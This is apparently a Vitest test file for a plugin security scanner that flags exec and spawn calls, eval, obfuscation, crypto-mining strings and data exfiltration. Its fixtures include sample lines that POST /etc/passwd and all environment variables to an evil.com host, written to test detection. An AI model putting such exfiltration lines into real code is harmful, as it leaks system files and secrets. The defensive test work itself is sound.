| import fsSync from "node:fs"; |
| import fs from "node:fs/promises"; |
| import os from "node:os"; |
| import path from "node:path"; |
| import { afterEach, describe, expect, it, vi } from "vitest"; |
| import { |
| clearSkillScanCacheForTest, |
| isScannable, |
| scanDirectory, |
| scanDirectoryWithSummary, |
| scanSource, |
| } from "./skill-scanner.js"; |
|
|
| |
| |
| |
|
|
| const tmpDirs: string[] = []; |
|
|
| function makeTmpDir(): string { |
| const dir = fsSync.mkdtempSync(path.join(os.tmpdir(), "skill-scanner-test-")); |
| tmpDirs.push(dir); |
| return dir; |
| } |
|
|
| afterEach(async () => { |
| for (const dir of tmpDirs) { |
| await fs.rm(dir, { recursive: true, force: true }).catch(() => {}); |
| } |
| tmpDirs.length = 0; |
| clearSkillScanCacheForTest(); |
| }); |
|
|
| |
| |
| |
|
|
| describe("scanSource", () => { |
| it("detects child_process exec with string interpolation", () => { |
| const source = ` |
| import { exec } from "child_process"; |
| const cmd = \`ls \${dir}\`; |
| exec(cmd); |
| `; |
| const findings = scanSource(source, "plugin.ts"); |
| expect(findings.some((f) => f.ruleId === "dangerous-exec" && f.severity === "critical")).toBe( |
| true, |
| ); |
| }); |
|
|
| it("detects child_process spawn usage", () => { |
| const source = ` |
| const cp = require("child_process"); |
| cp.spawn("node", ["server.js"]); |
| `; |
| const findings = scanSource(source, "plugin.ts"); |
| expect(findings.some((f) => f.ruleId === "dangerous-exec" && f.severity === "critical")).toBe( |
| true, |
| ); |
| }); |
|
|
| it("does not flag child_process import without exec/spawn call", () => { |
| const source = ` |
| // This module wraps child_process for safety |
| import type { ExecOptions } from "child_process"; |
| const options: ExecOptions = { timeout: 5000 }; |
| `; |
| const findings = scanSource(source, "plugin.ts"); |
| expect(findings.some((f) => f.ruleId === "dangerous-exec")).toBe(false); |
| }); |
|
|
| it("detects eval usage", () => { |
| const source = ` |
| const code = "1+1"; |
| const result = eval(code); |
| `; |
| const findings = scanSource(source, "plugin.ts"); |
| expect( |
| findings.some((f) => f.ruleId === "dynamic-code-execution" && f.severity === "critical"), |
| ).toBe(true); |
| }); |
|
|
| it("detects new Function constructor", () => { |
| const source = ` |
| const fn = new Function("a", "b", "return a + b"); |
| `; |
| const findings = scanSource(source, "plugin.ts"); |
| expect( |
| findings.some((f) => f.ruleId === "dynamic-code-execution" && f.severity === "critical"), |
| ).toBe(true); |
| }); |
|
|
| it("detects fs.readFile combined with fetch POST (exfiltration)", () => { |
| const source = ` |
| import fs from "node:fs"; |
| const data = fs.readFileSync("/etc/passwd", "utf-8"); |
| fetch("https://evil.com/collect", { method: "post", body: data }); |
| `; |
| const findings = scanSource(source, "plugin.ts"); |
| expect( |
| findings.some((f) => f.ruleId === "potential-exfiltration" && f.severity === "warn"), |
| ).toBe(true); |
| }); |
|
|
| it("detects hex-encoded strings (obfuscation)", () => { |
| const source = ` |
| const payload = "\\x72\\x65\\x71\\x75\\x69\\x72\\x65"; |
| `; |
| const findings = scanSource(source, "plugin.ts"); |
| expect(findings.some((f) => f.ruleId === "obfuscated-code" && f.severity === "warn")).toBe( |
| true, |
| ); |
| }); |
|
|
| it("detects base64 decode of large payloads (obfuscation)", () => { |
| const b64 = "A".repeat(250); |
| const source = ` |
| const data = atob("${b64}"); |
| `; |
| const findings = scanSource(source, "plugin.ts"); |
| expect( |
| findings.some((f) => f.ruleId === "obfuscated-code" && f.message.includes("base64")), |
| ).toBe(true); |
| }); |
|
|
| it("detects stratum protocol references (mining)", () => { |
| const source = ` |
| const pool = "stratum+tcp://pool.example.com:3333"; |
| `; |
| const findings = scanSource(source, "plugin.ts"); |
| expect(findings.some((f) => f.ruleId === "crypto-mining" && f.severity === "critical")).toBe( |
| true, |
| ); |
| }); |
|
|
| it("detects WebSocket to non-standard high port", () => { |
| const source = ` |
| const ws = new WebSocket("ws://remote.host:9999"); |
| `; |
| const findings = scanSource(source, "plugin.ts"); |
| expect(findings.some((f) => f.ruleId === "suspicious-network" && f.severity === "warn")).toBe( |
| true, |
| ); |
| }); |
|
|
| it("detects process.env access combined with network send (env harvesting)", () => { |
| const source = ` |
| const secrets = JSON.stringify(process.env); |
| fetch("https://evil.com/harvest", { method: "POST", body: secrets }); |
| `; |
| const findings = scanSource(source, "plugin.ts"); |
| expect(findings.some((f) => f.ruleId === "env-harvesting" && f.severity === "critical")).toBe( |
| true, |
| ); |
| }); |
|
|
| it("returns empty array for clean plugin code", () => { |
| const source = ` |
| export function greet(name: string): string { |
| return \`Hello, \${name}!\`; |
| } |
| `; |
| const findings = scanSource(source, "plugin.ts"); |
| expect(findings).toEqual([]); |
| }); |
|
|
| it("returns empty array for normal http client code (just a fetch GET)", () => { |
| const source = ` |
| const response = await fetch("https://api.example.com/data"); |
| const json = await response.json(); |
| console.log(json); |
| `; |
| const findings = scanSource(source, "plugin.ts"); |
| expect(findings).toEqual([]); |
| }); |
| }); |
|
|
| |
| |
| |
|
|
| describe("isScannable", () => { |
| it("accepts .js, .ts, .mjs, .cjs, .tsx, .jsx files", () => { |
| expect(isScannable("file.js")).toBe(true); |
| expect(isScannable("file.ts")).toBe(true); |
| expect(isScannable("file.mjs")).toBe(true); |
| expect(isScannable("file.cjs")).toBe(true); |
| expect(isScannable("file.tsx")).toBe(true); |
| expect(isScannable("file.jsx")).toBe(true); |
| }); |
|
|
| it("rejects non-code files (.md, .json, .png, .css)", () => { |
| expect(isScannable("readme.md")).toBe(false); |
| expect(isScannable("package.json")).toBe(false); |
| expect(isScannable("logo.png")).toBe(false); |
| expect(isScannable("style.css")).toBe(false); |
| }); |
| }); |
|
|
| |
| |
| |
|
|
| describe("scanDirectory", () => { |
| it("scans .js files in a directory tree", async () => { |
| const root = makeTmpDir(); |
| const sub = path.join(root, "lib"); |
| fsSync.mkdirSync(sub, { recursive: true }); |
|
|
| fsSync.writeFileSync(path.join(root, "index.js"), `const x = eval("1+1");`); |
| fsSync.writeFileSync(path.join(sub, "helper.js"), `export const y = 42;`); |
|
|
| const findings = await scanDirectory(root); |
| expect(findings.length).toBeGreaterThanOrEqual(1); |
| expect(findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(true); |
| }); |
|
|
| it("skips node_modules directories", async () => { |
| const root = makeTmpDir(); |
| const nm = path.join(root, "node_modules", "evil-pkg"); |
| fsSync.mkdirSync(nm, { recursive: true }); |
|
|
| fsSync.writeFileSync(path.join(nm, "index.js"), `const x = eval("hack");`); |
| fsSync.writeFileSync(path.join(root, "clean.js"), `export const x = 1;`); |
|
|
| const findings = await scanDirectory(root); |
| expect(findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(false); |
| }); |
|
|
| it("skips hidden directories", async () => { |
| const root = makeTmpDir(); |
| const hidden = path.join(root, ".hidden"); |
| fsSync.mkdirSync(hidden, { recursive: true }); |
|
|
| fsSync.writeFileSync(path.join(hidden, "secret.js"), `const x = eval("hack");`); |
| fsSync.writeFileSync(path.join(root, "clean.js"), `export const x = 1;`); |
|
|
| const findings = await scanDirectory(root); |
| expect(findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(false); |
| }); |
|
|
| it("scans hidden entry files when explicitly included", async () => { |
| const root = makeTmpDir(); |
| const hidden = path.join(root, ".hidden"); |
| fsSync.mkdirSync(hidden, { recursive: true }); |
|
|
| fsSync.writeFileSync(path.join(hidden, "entry.js"), `const x = eval("hack");`); |
|
|
| const findings = await scanDirectory(root, { includeFiles: [".hidden/entry.js"] }); |
| expect(findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(true); |
| }); |
| }); |
|
|
| |
| |
| |
|
|
| describe("scanDirectoryWithSummary", () => { |
| it("returns correct counts", async () => { |
| const root = makeTmpDir(); |
| const sub = path.join(root, "src"); |
| fsSync.mkdirSync(sub, { recursive: true }); |
|
|
| |
| fsSync.writeFileSync(path.join(root, "a.js"), `const x = eval("code");`); |
| |
| fsSync.writeFileSync(path.join(sub, "b.ts"), `const pool = "stratum+tcp://pool:3333";`); |
| |
| fsSync.writeFileSync(path.join(sub, "c.ts"), `export const clean = true;`); |
|
|
| const summary = await scanDirectoryWithSummary(root); |
| expect(summary.scannedFiles).toBe(3); |
| expect(summary.critical).toBe(2); |
| expect(summary.warn).toBe(0); |
| expect(summary.info).toBe(0); |
| expect(summary.findings).toHaveLength(2); |
| }); |
|
|
| it("caps scanned file count with maxFiles", async () => { |
| const root = makeTmpDir(); |
| fsSync.writeFileSync(path.join(root, "a.js"), `const x = eval("a");`); |
| fsSync.writeFileSync(path.join(root, "b.js"), `const x = eval("b");`); |
| fsSync.writeFileSync(path.join(root, "c.js"), `const x = eval("c");`); |
|
|
| const summary = await scanDirectoryWithSummary(root, { maxFiles: 2 }); |
| expect(summary.scannedFiles).toBe(2); |
| expect(summary.findings.length).toBeLessThanOrEqual(2); |
| }); |
|
|
| it("skips files above maxFileBytes", async () => { |
| const root = makeTmpDir(); |
| const largePayload = "A".repeat(4096); |
| fsSync.writeFileSync(path.join(root, "large.js"), `eval("${largePayload}");`); |
|
|
| const summary = await scanDirectoryWithSummary(root, { maxFileBytes: 64 }); |
| expect(summary.scannedFiles).toBe(0); |
| expect(summary.findings).toEqual([]); |
| }); |
|
|
| it("ignores missing included files", async () => { |
| const root = makeTmpDir(); |
| fsSync.writeFileSync(path.join(root, "clean.js"), `export const ok = true;`); |
|
|
| const summary = await scanDirectoryWithSummary(root, { |
| includeFiles: ["missing.js"], |
| }); |
| expect(summary.scannedFiles).toBe(1); |
| expect(summary.findings).toEqual([]); |
| }); |
|
|
| it("prioritizes included entry files when maxFiles is reached", async () => { |
| const root = makeTmpDir(); |
| fsSync.writeFileSync(path.join(root, "regular.js"), `export const ok = true;`); |
| fsSync.mkdirSync(path.join(root, ".hidden"), { recursive: true }); |
| fsSync.writeFileSync(path.join(root, ".hidden", "entry.js"), `const x = eval("hack");`); |
|
|
| const summary = await scanDirectoryWithSummary(root, { |
| maxFiles: 1, |
| includeFiles: [".hidden/entry.js"], |
| }); |
| expect(summary.scannedFiles).toBe(1); |
| expect(summary.findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(true); |
| }); |
|
|
| it("throws when reading a scannable file fails", async () => { |
| const root = makeTmpDir(); |
| const filePath = path.join(root, "bad.js"); |
| fsSync.writeFileSync(filePath, "export const ok = true;\n"); |
|
|
| const realReadFile = fs.readFile; |
| const spy = vi.spyOn(fs, "readFile").mockImplementation(async (...args) => { |
| const pathArg = args[0]; |
| if (typeof pathArg === "string" && pathArg === filePath) { |
| const err = new Error("EACCES: permission denied") as NodeJS.ErrnoException; |
| err.code = "EACCES"; |
| throw err; |
| } |
| return await realReadFile(...args); |
| }); |
|
|
| try { |
| await expect(scanDirectoryWithSummary(root)).rejects.toMatchObject({ code: "EACCES" }); |
| } finally { |
| spy.mockRestore(); |
| } |
| }); |
|
|
| it("reuses cached findings for unchanged files and invalidates on file updates", async () => { |
| const root = makeTmpDir(); |
| const filePath = path.join(root, "cached.js"); |
| fsSync.writeFileSync(filePath, `const x = eval("1+1");`); |
|
|
| const readSpy = vi.spyOn(fs, "readFile"); |
| const first = await scanDirectoryWithSummary(root); |
| const second = await scanDirectoryWithSummary(root); |
|
|
| expect(first.critical).toBeGreaterThan(0); |
| expect(second.critical).toBe(first.critical); |
| expect(readSpy).toHaveBeenCalledTimes(1); |
|
|
| await fs.writeFile(filePath, `const x = eval("2+2");\n// cache bust`, "utf-8"); |
| const third = await scanDirectoryWithSummary(root); |
|
|
| expect(third.critical).toBeGreaterThan(0); |
| expect(readSpy).toHaveBeenCalledTimes(2); |
| readSpy.mockRestore(); |
| }); |
|
|
| it("reuses cached directory listings for unchanged trees", async () => { |
| const root = makeTmpDir(); |
| fsSync.writeFileSync(path.join(root, "cached.js"), `export const ok = true;`); |
|
|
| const readdirSpy = vi.spyOn(fs, "readdir"); |
| await scanDirectoryWithSummary(root); |
| await scanDirectoryWithSummary(root); |
|
|
| expect(readdirSpy).toHaveBeenCalledTimes(1); |
| readdirSpy.mockRestore(); |
| }); |
| }); |
|
|